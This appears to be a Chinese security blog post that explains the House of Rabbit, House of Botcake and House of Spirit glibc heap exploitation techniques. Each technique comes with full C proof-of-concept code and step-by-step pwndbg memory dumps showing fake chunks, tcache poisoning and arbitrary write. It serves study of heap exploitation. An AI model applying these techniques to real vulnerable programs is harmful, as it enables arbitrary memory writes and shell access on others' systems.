House of 系列堆漏洞详解(二) 首发于先知社区
House of Rabbit 原理 如果程序同时满足以下三个条件
可以分配任意大小的堆块并且释放,主要包括三类fastbin大小的堆块、smallbin大小的堆块、较大的堆块(用于分配到任意地址处)
存在一块已知地址的内存空间,并可以任意写至少0x20 长度的字节
存在fastbin dup、UAF等漏洞,用于劫持fastbin的fd指针。
当通过malloc函数分配内存时,当超过某特定阈值时,堆块会由mmap来分配,但同时会改变该阈值。通过连续malloc然后free两次超大chunk,会扩大top chunk的size。在申请一个fast chunk和一个small chunk,保证small chunk紧邻top chunk。在可控内存处伪造两个chunk,一个大小为0x11,绕过检查,一个为0xfffffffffffffff1,保证可覆盖任意地址并设置了inuse位。再利用其他漏洞将0xfffffffffffffff1大小的fake chunk链接到fast bin链表。free触发malloc_consolidate,用于对fastbin合并,并放到unsorted bin中。再申请一个超大 chunk,0xfffffffffffffff1大小的fake chunk会链接到 largebin,最后申请任意长度的地址,使堆块地址上溢到当前堆地址的低地址位置,从而可以分配到任意地址,达到内存任意写的目的。
Poc #include <stdio.h> #include <stdlib.h> #include <string.h> void evict_tcache (size_t size ) ;char target[0x30 ] = "Hello, World!" ;unsigned long gbuf[8 ] = {0 };int main (void ) { void *p, *fast, *small, *fake; char *victim; setbuf(stdin , NULL ); setbuf(stdout , NULL ); printf ("House of Rabbit Poc\n\n" ); printf ("0. 关闭 0x20,0x90 chunks 的tcache (glibc version >= 2.26)\n\n" ); evict_tcache(0x18 ); evict_tcache(0x88 ); printf ("1. 'av->system_mem > 0xa00000'\n" ); p = malloc (0xa00000 ); printf (" 在 %p 通过mmap申请0xa00000 byte大小的内存, 然后 free.\n" , p); free (p); p = malloc (0xa00000 ); printf (" 在 %p 通过mmap申请0xa00000 byte大小的内存, 然后 free.\n" , p); free (p); printf (" 'av->system_mem' 将会比 0xa00000 大.\n\n" ); printf ("2. Free fast chunk 插入 fastbins 链表\n" ); fast = malloc (0x18 ); small = malloc (0x88 ); printf ( " 申请 fast chunk 和 small chunk.\n" " fast = %p\n" " small = %p\n" , fast, small); free (fast); printf (" Free fast chunk.\n\n" ); printf ("3. 在 .bss 构造 fake_chunk\n" ); gbuf[0 ] = 0xfffffffffffffff0 ; gbuf[1 ] = 0x10 ; gbuf[3 ] = 0x21 ; gbuf[7 ] = 0x1 ; printf ( " fake_chunk1 (size : 0x%lx) is at %p\n" " fake_chunk2 (size : 0x%lx) is at %p\n\n" , gbuf[3 ], &gbuf[2 ], gbuf[1 ], &gbuf[0 ]); fake = &gbuf[2 ]; printf ( "漏洞利用 (UAF,fastbins dup等)\n" " *fast = %p\n" , fake); *(unsigned long **)fast = fake; printf (" fastbins list : [%p, %p, %p]\n\n" , fast-0x10 , fake, *(void **)(fake+0x10 )); printf ( "4. 调用 malloc_consolidate\n" " Free 和top相邻的 small chunk (%p) , 将 fake_chunk1(%p) 插入 unsorted bins 链表.\n\n" , small, fake); free (small); printf ( "5. 将 unsorted bins 链接到合适的链表\n" " 将 fake_chunk1 的 size 重写为 0xa0001 来绕过 'size < av->system_mem' 检查.\n" ); gbuf[3 ] = 0xa00001 ; malloc (0xa00000 ); printf ( " 申请一个超大 chunk.\n" " 现在, fake_chunk1 会链接到 largebin[126](max).\n" " 然后, 将fake_chunk1 的 size 改为 0xfffffffffffffff1.\n\n" ); gbuf[3 ] = 0xfffffffffffffff1 ; printf ( "6. 覆写 .data 段上的目标值\n" " 目标值位于 %p\n" " 覆写之前是 : %s\n" , &target, target); malloc ((void *)&target-(void *)(gbuf+2 )-0x20 ); victim = malloc (0x10 ); printf (" 在 %p 申请 0x10 byte, 然后任意写入.\n" , victim); strcpy (victim, "Hacked!!" ); printf (" 覆写之后是 : %s\n" , target); } void evict_tcache (size_t size ) { void *p; #if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26) p = malloc (size ); #if (GLIBC_VERSION < 29) free (p); free (p); malloc (size ); malloc (size ); *(void **)p = NULL ; malloc (size ); #else #if (GLIBC_VERSION == 29) char *counts = (char *)(((unsigned long )p & ~0xfff ) + 0x10 ); #else uint16_t *counts = (char *)(((unsigned long )p & ~0xfff ) + 0x10 ); #endif counts[(size + 0x10 >> 4 ) - 2 ] = 0xff ; #endif #endif }
分步分析 1 malloc两个堆块使av->system_mem > 0xa00000 p = malloc (0xa00000 ); free (p);p = malloc (0xa00000 ); free (p);
pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x402000 r-xp 2000 0 /home/kabeo/Desktop/house_of_rabbit 0x601000 0x602000 r--p 1000 1000 /home/kabeo/Desktop/house_of_rabbit 0x602000 0x603000 rw-p 1000 2000 /home/kabeo/Desktop/house_of_rabbit 0x603000 0x1024000 rw-p a21000 0 [heap] <===== 扩大到0xa21000 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fdd000 0x7ffff7fe0000 rw-p 3000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
2 Free fast chunk 插入 fastbins 链表 fast = malloc (0x18 ); small = malloc (0x88 ); free (fast);
pwndbg> heap 0x603000 FASTBIN { prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x91 } 0x603020 PREV_INUSE { prev_size = 0, size = 145, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x6030b0 PREV_INUSE { prev_size = 0, size = 10620753, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x603000 ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty pwndbg> x/30xg 0x603020-0x20 0x603000: 0x0000000000000000 0x0000000000000021 <==== fast 0x603010: 0x0000000000000000 0x0000000000000000 0x603020: 0x0000000000000000 0x0000000000000091 <==== small 0x603030: 0x0000000000000000 0x0000000000000000 0x603040: 0x0000000000000000 0x0000000000000000 0x603050: 0x0000000000000000 0x0000000000000000 0x603060: 0x0000000000000000 0x0000000000000000 0x603070: 0x0000000000000000 0x0000000000000000 0x603080: 0x0000000000000000 0x0000000000000000 0x603090: 0x0000000000000000 0x0000000000000000 0x6030a0: 0x0000000000000000 0x0000000000000000 0x6030b0: 0x0000000000000000 0x0000000000a20f51 <==== top chunk 0x6030c0: 0x0000000000000000 0x0000000000000000 0x6030d0: 0x0000000000000000 0x0000000000000000 0x6030e0: 0x0000000000000000 0x0000000000000000
3 在 .bss 段构造 fake_chunk gbuf[0 ] = 0xfffffffffffffff0 ; gbuf[1 ] = 0x10 ; gbuf[3 ] = 0x21 ; gbuf[7 ] = 0x1 ; fake = &gbuf[2 ];
pwndbg> x/20xg 0x6020f0-0x20 0x6020d0 <stdin@@GLIBC_2.2.5>: 0x00007ffff7dd18e0 0x0000000000000000 0x6020e0 <gbuf>: 0xfffffffffffffff0 0x0000000000000010 0x6020f0 <gbuf+16>: 0x0000000000000000 0x0000000000000021 <==== fake chunk 0x602100 <gbuf+32>: 0x0000000000000000 0x0000000000000000 0x602110 <gbuf+48>: 0x0000000000000000 0x0000000000000001 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000
4 通过其他漏洞改写fast chunk指向fake chunk *(unsigned long **)fast = fake;
pwndbg> bins fastbins 0x20: 0x603000 —▸ 0x6020f0 (gbuf+16) ◂— 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty pwndbg> x/30xg 0x603020-0x20 0x603000: 0x0000000000000000 0x0000000000000021 0x603010: 0x00000000006020f0 0x0000000000000000 <==== 改写fastbin指向 0x603020: 0x0000000000000000 0x0000000000000091 0x603030: 0x0000000000000000 0x0000000000000000 0x603040: 0x0000000000000000 0x0000000000000000 0x603050: 0x0000000000000000 0x0000000000000000 0x603060: 0x0000000000000000 0x0000000000000000 0x603070: 0x0000000000000000 0x0000000000000000 0x603080: 0x0000000000000000 0x0000000000000000 0x603090: 0x0000000000000000 0x0000000000000000 0x6030a0: 0x0000000000000000 0x0000000000000000 0x6030b0: 0x0000000000000000 0x0000000000a20f51 0x6030c0: 0x0000000000000000 0x0000000000000000 0x6030d0: 0x0000000000000000 0x0000000000000000 0x6030e0: 0x0000000000000000 0x0000000000000000
5 调用 malloc_consolidate,Free 和top相邻的 small chunk , 将 fake_chunk1插入 unsorted bins 链表
pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x6020f0 (gbuf+16) —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6020f0 smallbins empty largebins empty pwndbg> x/30xg 0x603020-0x20 0x603000: 0x0000000000000000 0x0000000000a21001 <==== fast chunk size改变 0x603010: 0x00000000006020f0 0x0000000000000000 0x603020: 0x0000000000000000 0x0000000000a20fe1 <==== small chunk size改变 0x603030: 0x0000000000000000 0x0000000000000000 0x603040: 0x0000000000000000 0x0000000000000000 0x603050: 0x0000000000000000 0x0000000000000000 0x603060: 0x0000000000000000 0x0000000000000000 0x603070: 0x0000000000000000 0x0000000000000000 0x603080: 0x0000000000000000 0x0000000000000000 0x603090: 0x0000000000000000 0x0000000000000000 0x6030a0: 0x0000000000000000 0x0000000000000000 0x6030b0: 0x0000000000000000 0x0000000000a20f51 0x6030c0: 0x0000000000000000 0x0000000000000000 0x6030d0: 0x0000000000000000 0x0000000000000000 0x6030e0: 0x0000000000000000 0x0000000000000000
6 申请一个超大 chunk,fake_chunk1将链接到 largebin,修改fake_chunk1 size gbuf[3 ] = 0xa00001 ; malloc (0xa00000 );gbuf[3 ] = 0xfffffffffffffff1 ;
pwndbg> heap 0x603000 PREV_INUSE { prev_size = 0, size = 10485777, fd = 0x6020f0 <gbuf+16>, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0xa20fe1 } 0x1003010 PREV_INUSE { prev_size = 0, size = 135153, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> bins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins 0x80000: 0x6020f0 (gbuf+16) —▸ 0x7ffff7dd2348 (main_arena+2088) ◂— 0x6020f0 pwndbg> x/30xg 0x603020-0x20 0x603000: 0x0000000000000000 0x0000000000a00011 0x603010: 0x00000000006020f0 0x0000000000000000 0x603020: 0x0000000000000000 0x0000000000a20fe1 0x603030: 0x0000000000000000 0x0000000000000000 0x603040: 0x0000000000000000 0x0000000000000000 0x603050: 0x0000000000000000 0x0000000000000000 0x603060: 0x0000000000000000 0x0000000000000000 0x603070: 0x0000000000000000 0x0000000000000000 0x603080: 0x0000000000000000 0x0000000000000000 0x603090: 0x0000000000000000 0x0000000000000000 0x6030a0: 0x0000000000000000 0x0000000000000000 0x6030b0: 0x0000000000000000 0x0000000000a20f51 0x6030c0: 0x0000000000000000 0x0000000000000000 0x6030d0: 0x0000000000000000 0x0000000000000000 0x6030e0: 0x0000000000000000 0x0000000000000000 0x6020d0 <stdin@@GLIBC_2.2.5>: 0x00007ffff7dd18e0 0x0000000000000000 0x6020e0 <gbuf>: 0xfffffffffffffff0 0x0000000000000010 0x6020f0 <gbuf+16>: 0x0000000000000000 0xfffffffffffffff1 <==== 修改fake chunk size 0x602100 <gbuf+32>: 0x00007ffff7dd2348 0x00007ffff7dd2348 0x602110 <gbuf+48>: 0x00000000006020f0 0x00000000006020f0 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000
7 覆写可控内存,达到内存任意写 malloc ((void *)&target-(void *)(gbuf+2 )-0x20 );victim = malloc (0x10 ); strcpy (victim, "Hacked!!" );
pwndbg> x/20xg 0x602080-0x10 0x602070: 0x0000000000000000 0x0000000000000021 0x602080 <target>: 0x212164656b636148 0x00007ffff7dd1b00 0x602090 <target+16>: 0x0000000000000000 0x0000000000000051 0x6020a0 <target+32>: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd2620 0x0000000000000000 0x6020d0 <stdin@@GLIBC_2.2.5>: 0x00007ffff7dd18e0 0x0000000000000000 0x6020e0 <gbuf>: 0x0000000000000050 0x0000000000000010 0x6020f0 <gbuf+16>: 0x0000000000000000 0xffffffffffffff81 0x602100 <gbuf+32>: 0x00007ffff7dd2348 0x00007ffff7dd2348
Glibc 2.26 从Glibc2.26开始加入了tcache,可通过以下代码绕过
void evict_tcache (size_t size ) { void *p; #if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26) p = malloc (size ); #if (GLIBC_VERSION < 29) free (p); free (p); malloc (size ); malloc (size ); *(void **)p = NULL ; malloc (size ); #else #if (GLIBC_VERSION == 29) char *counts = (char *)(((unsigned long )p & ~0xfff ) + 0x10 ); #else uint16_t *counts = (char *)(((unsigned long )p & ~0xfff ) + 0x10 ); #endif counts[(size + 0x10 >> 4 ) - 2 ] = 0xff ; #endif #endif }
利用思路 house of rabbit漏洞可以绕过堆块的地址随机化保护(ASLR)达到任意 地址分配的效果,因此在存在sh的文件中可直接getshell。
House_of_botcake 原理 house of botcake利用手法只需要程序存在double free即可。
首先填充 tcache bin 链表,然后使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将 victim chunk 加入tcache bin链表,然后利用堆块重叠将double free块的fd指针覆写为目标位置,再次malloc即可控制到目标位置,达到任意写操作。
Poc #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <assert.h> int main () { puts ("House of botcake Poc\n\n" ); setbuf(stdin , NULL ); setbuf(stdout , NULL ); intptr_t stack_var[4 ]; printf ("目标地址是 %p.\n\n" , stack_var); puts ("堆布局构造" ); puts ("申请7个 chunks(malloc(0x100)) 用于稍后填充tcache bin链表." ); intptr_t *x[7 ]; for (int i=0 ; i<sizeof (x)/sizeof (intptr_t *); i++){ x[i] = malloc (0x100 ); } puts ("为之后的合并申请一个 prev chunk" ); intptr_t *prev = malloc (0x100 ); puts ("申请用于double free的 victim chunk." ); intptr_t *a = malloc (0x100 ); printf ("malloc(0x100): a=%p.\n" , a); puts ("申请一个填充chunk防止top chunk合并.\n" ); malloc (0x10 ); puts ("接下来可以造成堆块重叠" ); puts ("Step 1: 填充 tcache bin 链表" ); for (int i=0 ; i<7 ; i++){ free (x[i]); } puts ("Step 2: free victim chunk 并链接到 unsorted bin" ); free (a); puts ("Step 3: free prev chunk 使它和 victim chunk 合并." ); free (prev); puts ("Step 4: 使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将 victim chunk 加入tcache bin链表\n" ); malloc (0x100 ); free (a); puts ("double free 利用完成\n\n" ); puts ("tcache 毒化" ); puts ("现在 victim chunk 被包含在一个更大的已释放块中,可以通过利用块重叠进行 tcache 毒化" ); intptr_t *b = malloc (0x120 ); puts ("将 victim chunk 的 fd 指针覆写为目标位置" ); b[0x120 /8 -2 ] = (long )stack_var; puts ("malloc申请到目标位置." ); malloc (0x100 ); intptr_t *c = malloc (0x100 ); printf ("新申请的 chunk 位于 %p\n" , c); assert(c==stack_var); printf ("已控制目标位置!\n\n" ); return 0 ; }
分步分析 1 堆内布局构造 intptr_t *x[7 ];for (int i=0 ; i<sizeof (x)/sizeof (intptr_t *); i++){ x[i] = malloc (0x100 ); } intptr_t *prev = malloc (0x100 );intptr_t *a = malloc (0x100 );malloc (0x10 );
pwndbg> x/50xg 0x555555559f20-0x20 ... 0x555555559f00: 0x0000000000000000 0x0000000000000000 0x555555559f10: 0x0000000000000000 0x0000000000000000 0x555555559f20: 0x0000000000000000 0x0000000000000111 <==== victim chunk 0x555555559f30: 0x0000000000000000 0x0000000000000000 0x555555559f40: 0x0000000000000000 0x0000000000000000 0x555555559f50: 0x0000000000000000 0x0000000000000000 0x555555559f60: 0x0000000000000000 0x0000000000000000 0x555555559f70: 0x0000000000000000 0x0000000000000000 0x555555559f80: 0x0000000000000000 0x0000000000000000 0x555555559f90: 0x0000000000000000 0x0000000000000000 0x555555559fa0: 0x0000000000000000 0x0000000000000000 0x555555559fb0: 0x0000000000000000 0x0000000000000000 0x555555559fc0: 0x0000000000000000 0x0000000000000000 0x555555559fd0: 0x0000000000000000 0x0000000000000000 0x555555559fe0: 0x0000000000000000 0x0000000000000000 0x555555559ff0: 0x0000000000000000 0x0000000000000000 0x55555555a000: 0x0000000000000000 0x0000000000000000 0x55555555a010: 0x0000000000000000 0x0000000000000000 0x55555555a020: 0x0000000000000000 0x0000000000000000 0x55555555a030: 0x0000000000000000 0x0000000000000021 <==== 防止合并 0x55555555a040: 0x0000000000000000 0x0000000000000000 0x55555555a050: 0x0000000000000000 0x000000000001ffb1 <==== top chunk 0x55555555a060: 0x0000000000000000 0x0000000000000000 0x55555555a070: 0x0000000000000000 0x0000000000000000 0x55555555a080: 0x0000000000000000 0x0000000000000000
2 填充 tcache bin 链表 for (int i=0 ; i<7 ; i++){ free (x[i]); }
pwndbg> tcachebins tcachebins 0x110 [ 7]: 0x555555559d10 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0 0x410 [ 1]: 0x5555555592a0 ◂— 0x0
3 free victim chunk 并链接到 unsorted bin
pwndbg> bins tcachebins 0x110 [ 7]: 0x555555559d10 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0 0x410 [ 1]: 0x5555555592a0 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x555555559f20 —▸ 0x7ffff7faebe0 (main_arena+96) ◂— 0x555555559f20 smallbins empty largebins empty
4 free prev chunk 使它和 victim chunk 合并
pwndbg> bins tcachebins 0x110 [ 7]: 0x555555559d10 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0 0x410 [ 1]: 0x5555555592a0 ◂— 0x0 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x555555559e10 —▸ 0x7ffff7faebe0 (main_arena+96) ◂— 0x555555559e10 <====== 合并 smallbins empty largebins empty
5 使用malloc从tcache bin链表中取出一个chunk,double free将 victim chunk 加入tcache bin链表
pwndbg> tcachebins 0x110 [ 6]: 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0 <======== malloc取出 0x410 [ 1]: 0x5555555592a0 ◂— 0x0 pwndbg> tcachebins 0x110 [ 7]: 0x555555559f30 —▸ 0x555555559c00 —▸ 0x555555559af0 —▸ 0x5555555599e0 —▸ 0x5555555598d0 —▸ 0x5555555597c0 —▸ 0x5555555596b0 ◂— 0x0 <====== double free加入 0x410 [ 1]: 0x5555555592a0 ◂— 0x0
6 利用堆块重叠将 victim chunk 的 fd 指针覆写为目标位置 intptr_t *b = malloc (0x120 );b[0x120 /8 -2 ] = (long )stack_var;
pwndbg> x/50xg 0x555555559f20-0x20 0x555555559f00: 0x0000000000000000 0x0000000000000000 0x555555559f10: 0x0000000000000000 0x0000000000000000 0x555555559f20: 0x0000000000000000 0x0000000000000111 0x555555559f30: 0x00007fffffffdb00 0x0000555555559010 <==== 堆块重叠,写入fd 0x555555559f40: 0x0000000000000000 0x00000000000000f1 0x555555559f50: 0x00007ffff7faebe0 0x00007ffff7faebe0 0x555555559f60: 0x0000000000000000 0x0000000000000000 0x555555559f70: 0x0000000000000000 0x0000000000000000 ... 0x55555555a010: 0x0000000000000000 0x0000000000000000 0x55555555a020: 0x0000000000000000 0x0000000000000000 0x55555555a030: 0x00000000000000f0 0x0000000000000020 0x55555555a040: 0x0000000000000000 0x0000000000000000 0x55555555a050: 0x0000000000000000 0x000000000001ffb1 <==== top chunk 0x55555555a060: 0x0000000000000000 0x0000000000000000 0x55555555a070: 0x0000000000000000 0x0000000000000000 0x55555555a080: 0x0000000000000000 0x0000000000000000
7 malloc申请到目标位置 malloc (0x100 );intptr_t *c = malloc (0x100 );
利用思路 该利用可以bypass double free的check,达到任意地址写,测试发现glibc2.30版本也可以利用。
House of Spirit 原理 通过伪造fastbin,再将一个目前可用的chunk的指针改写为伪造fastbin地址,将这个chunk free,相当于free一个假的fastbin堆块,然后再下次malloc的时候就会返回该假堆块。
Poc #include <stdio.h> #include <stdlib.h> int main () { fprintf (stderr , "House of Spirit Poc\n\n" ); fprintf (stderr , "Step1: malloc初始化堆内存\n\n" ); malloc (1 ); fprintf (stderr , "Step2: 覆盖一个堆指针指向伪造的 fastbin 区域\n" ); unsigned long long *a; unsigned long long fake_chunks[10 ] __attribute__ ((aligned (16 ))); fprintf (stderr , "\t这片区域 (长度为: %lu) 包含两个 fake chunk.\n" , sizeof (fake_chunks)); fprintf (stderr , "\t第一个fake chunk位于 %p\n" , &fake_chunks[1 ]); fprintf (stderr , "\t第二个fake chunk位于 %p\n" , &fake_chunks[9 ]); fake_chunks[1 ] = 0x40 ; fprintf (stderr , "\t第二个fake chunk 的size必须大于 2*SIZE_SZ (x64上 > 16) && 小于 av->system_mem,用于绕过nextsize检查\n" ); fake_chunks[9 ] = 0x1234 ; fprintf (stderr , "\t覆盖堆指针指向第一个fake chunk %p \n\n" , &fake_chunks[1 ]); a = &fake_chunks[2 ]; fprintf (stderr , "Step3: free被覆盖堆指针的堆\n\n" ); free (a); fprintf (stderr , "Step4: malloc申请到fake chunk\n" ); fprintf (stderr , "\t再次malloc将会在 %p 返回fake chunk %p \n" , &fake_chunks[1 ], &fake_chunks[2 ]); fprintf (stderr , "\tmalloc(0x30): %p\n" , malloc (0x30 )); }
分步分析 1 malloc初始化堆内存
pwndbg> heap 0x602000 FASTBIN { prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20fe1 } 0x602020 PREV_INUSE { prev_size = 0, size = 135137, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> x/10xg 0x602020-0x20 0x602000: 0x0000000000000000 0x0000000000000021 <==== 改写目标chunk 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000
2 覆盖一个堆指针指向伪造的 fastbin 区域 unsigned long long *a;unsigned long long fake_chunks[10 ] __attribute__ ((aligned (16 )));fake_chunks[1 ] = 0x40 ; fake_chunks[9 ] = 0x1234 ; a = &fake_chunks[2 ];
pwndbg> x/16xg 0x7fffffffdca8 0x7fffffffdca8: 0x0000000000000040 0x00007ffff7ffe168 <==== fake chunk1 0x7fffffffdcb8: 0x0000000000f0b5ff 0x0000000000000001 0x7fffffffdcc8: 0x00000000004008dd 0x00007fffffffdcfe 0x7fffffffdcd8: 0x0000000000000000 0x0000000000400890 0x7fffffffdce8: 0x0000000000001234 0x00007fffffffdde0 <==== fake chunk2 0x7fffffffdcf8: 0xce9b2a14d1359800 0x0000000000400890 0x7fffffffdd08: 0x00007ffff7a2d830 0x0000000000000001 0x7fffffffdd18: 0x00007fffffffdde8 0x00000001f7ffcca0
3 free该堆指针
pwndbg> fastbins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x7fffffffdca0 ◂— 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0
4 malloc申请到该区域
tcache glibc2.26之后加入了tcache机制,tcache在提高内存管理效率的同时,安全性有所下降
tcache house of spirit只需伪造一个size区域,然后将伪造的fakechunk释放,再次malloc相应大小就可以得到fake_chunk。
利用思路 house_of_spirit可以进行任意地址写,可以改写为system直接getshell,也可以进一步利用。
总结 House of系列堆漏洞的分析到这里就结束了,通过gdb单步调试,对堆结构等熟悉了很多。
在glibc版本不断升级的同时,堆内的一些保护不断完善,但与此同时,像tcache这样的新增技术也暴露出新的漏洞,在后期的漏洞挖掘中,对这些新技术的漏洞挖掘应该更加重视。